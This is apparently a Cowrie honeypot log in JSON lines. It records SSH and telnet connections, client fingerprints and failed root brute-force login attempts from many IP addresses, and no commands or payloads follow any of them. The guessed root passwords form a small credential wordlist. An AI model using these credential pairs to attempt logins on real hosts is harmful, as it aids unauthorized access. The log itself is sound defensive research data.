{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:15.749477Z","src_ip":"196.188.93.169","session":"05f728c56f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:15.918493Z","src_ip":"196.188.93.169","session":"05f728c56f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1b2c3d4e5f6","message":"login attempt [root/A1b2c3d4e5f6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:16.627716Z","src_ip":"196.188.93.169","session":"05f728c56f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:17.799865Z","src_ip":"196.188.93.169","session":"05f728c56f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.51.138","src_port":35244,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e273c821376","protocol":"ssh","message":"New connection: 147.45.51.138:35244 (10.17.0.5:22) [session: 5e273c821376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:20.381732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:20.385358Z","src_ip":"147.45.51.138","session":"5e273c821376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:20.473730Z","src_ip":"147.45.51.138","session":"5e273c821376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"168168","message":"login attempt [root/168168] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:20.875421Z","src_ip":"147.45.51.138","session":"5e273c821376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:21.966293Z","src_ip":"147.45.51.138","session":"5e273c821376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40830,"dst_ip":"10.17.0.5","dst_port":22,"session":"a07da312da66","protocol":"ssh","message":"New connection: 8.210.75.243:40830 (10.17.0.5:22) [session: a07da312da66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:22.679916Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":33398,"dst_ip":"159.203.135.109","dst_port":22,"session":"e929ad388102","protocol":"ssh","message":"New connection: 103.27.238.114:33398 (159.203.135.109:22) [session: e929ad388102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:26.938189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:26.941678Z","src_ip":"103.27.238.114","session":"e929ad388102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:27.203559Z","src_ip":"103.27.238.114","session":"e929ad388102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grigorenko","message":"login attempt [root/grigorenko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:27.992040Z","src_ip":"103.27.238.114","session":"e929ad388102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:29.261355Z","src_ip":"103.27.238.114","session":"e929ad388102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52938,"dst_ip":"10.17.0.5","dst_port":22,"session":"35798e29a622","protocol":"ssh","message":"New connection: 8.210.75.243:52938 (10.17.0.5:22) [session: 35798e29a622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:31.649243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:31.654909Z","src_ip":"8.210.75.243","session":"35798e29a622","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":39070,"dst_ip":"159.203.135.109","dst_port":22,"session":"155f432feb10","protocol":"ssh","message":"New connection: 173.236.141.65:39070 (159.203.135.109:22) [session: 155f432feb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:34.083266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:34.086554Z","src_ip":"173.236.141.65","session":"155f432feb10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:34.094720Z","src_ip":"173.236.141.65","session":"155f432feb10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iota2024","message":"login attempt [root/iota2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:34.122537Z","src_ip":"173.236.141.65","session":"155f432feb10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:35.133295Z","src_ip":"173.236.141.65","session":"155f432feb10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57348,"dst_ip":"159.203.135.109","dst_port":23,"session":"17884b995298","protocol":"telnet","message":"New connection: 170.64.224.25:57348 (159.203.135.109:23) [session: 17884b995298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:39.891456Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:49.139685Z","src_ip":"8.210.75.243","session":"e580b08228d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":44836,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d91a86ce17b","protocol":"ssh","message":"New connection: 103.149.28.157:44836 (159.203.135.109:22) [session: 3d91a86ce17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:51.180739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:51.184881Z","src_ip":"103.149.28.157","session":"3d91a86ce17b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:51.443207Z","src_ip":"103.149.28.157","session":"3d91a86ce17b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lera1994","message":"login attempt [root/lera1994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:52.199518Z","src_ip":"103.149.28.157","session":"3d91a86ce17b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:53.452375Z","src_ip":"103.149.28.157","session":"3d91a86ce17b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":58148,"dst_ip":"159.203.135.109","dst_port":22,"session":"11bacd2a48da","protocol":"ssh","message":"New connection: 103.97.101.25:58148 (159.203.135.109:22) [session: 11bacd2a48da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:58.609113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:58.613431Z","src_ip":"103.97.101.25","session":"11bacd2a48da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:58.847719Z","src_ip":"103.97.101.25","session":"11bacd2a48da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loko123","message":"login attempt [root/loko123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:59.819822Z","src_ip":"103.97.101.25","session":"11bacd2a48da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:01.057676Z","src_ip":"103.97.101.25","session":"11bacd2a48da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":34238,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5a02522ef8e","protocol":"ssh","message":"New connection: 154.116.254.157:34238 (10.17.0.5:22) [session: c5a02522ef8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:01.185222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:01.190485Z","src_ip":"154.116.254.157","session":"c5a02522ef8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:01.358347Z","src_ip":"154.116.254.157","session":"c5a02522ef8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!","message":"login attempt [root/admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:02.058357Z","src_ip":"154.116.254.157","session":"c5a02522ef8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":56446,"dst_ip":"159.203.135.109","dst_port":22,"session":"f746235244b0","protocol":"ssh","message":"New connection: 45.94.68.69:56446 (159.203.135.109:22) [session: f746235244b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:02.708332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:02.712128Z","src_ip":"45.94.68.69","session":"f746235244b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:02.923378Z","src_ip":"45.94.68.69","session":"f746235244b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:03.226801Z","src_ip":"154.116.254.157","session":"c5a02522ef8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manish","message":"login attempt [root/manish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:03.800026Z","src_ip":"45.94.68.69","session":"f746235244b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:05.013954Z","src_ip":"45.94.68.69","session":"f746235244b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":50510,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d8ca2daa343","protocol":"ssh","message":"New connection: 103.199.16.90:50510 (159.203.135.109:22) [session: 0d8ca2daa343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:09.528546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:09.534902Z","src_ip":"103.199.16.90","session":"0d8ca2daa343","protocol":"ssh"}
